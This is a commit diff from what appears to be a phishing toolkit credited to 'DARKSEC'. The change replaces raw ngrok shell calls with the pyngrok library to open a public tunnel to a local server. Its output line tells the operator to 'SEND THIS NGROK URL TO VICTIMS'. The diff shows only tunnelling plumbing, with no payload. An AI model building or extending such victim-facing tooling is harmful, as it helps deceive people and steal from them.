Integrated pyngrok instead of raw terminal commands

This commit is contained in:
sTiKyt 2020-05-08 11:41:24 +03:00
parent aece518fa6
commit 8ba1a44fc3
No known key found for this signature in database
GPG Key ID: 510E1C3C9B2414B4

View File

@ -60,16 +60,20 @@ def start_ngrok(port):
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ NGROK SERVER ]{1}!! {0}\n-------------------------------'''.format(default_palette[0], default_palette[2]))
#run_command(['./Server/ngrok http {0}'.format(port)], stdout=DEVNULL, stderr=DEVNULL)
chdir('Server')
run_command(['ngrok', 'http {0}'.format(port)],stdout=DEVNULL, stderr=DEVNULL)
chdir('..')
##chmod('Server', 0o777)
##run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL, stderr=DEVNULL)
ngrok.connect(port)
#currentDirectory = os.getcwd() #DELETE
#print(currentDirectory) #DELETE
while True:
wait(2)
urlFile = open('link.url', 'w')
run_command(['curl', '-s', '-N', 'http://127.0.0.1:4040/api/tunnels', '|', 'grep', 'https://[0-9a-z]*\.ngrok.io', '-oh'], stdout=urlFile) #To Be Replaced
urlFile = open('link.url', 'r')
url = urlFile.read()
urlFile.close()
#urlFile = open('link.url', 'w')
#run_command(['curl', '-s', '-N', 'http://127.0.0.1:4040/api/tunnels', '|', 'grep', 'https://[0-9a-z]*\.ngrok.io', '-oh'], stdout=urlFile) #To Be Replaced
#urlFile = open('link.url', 'r')
#url = urlFile.read()
ngrok_tunnels = ngrok.get_tunnels()
url = ngrok_tunnels[0].public_url
#urlFile.close()
if regular_expression.match("https://[0-9a-z]*\.ngrok.io", url) != None:
print("\n{0}[{1}!{0}]{1} SEND THIS NGROK URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} NGROK URL: {2}".format(
default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))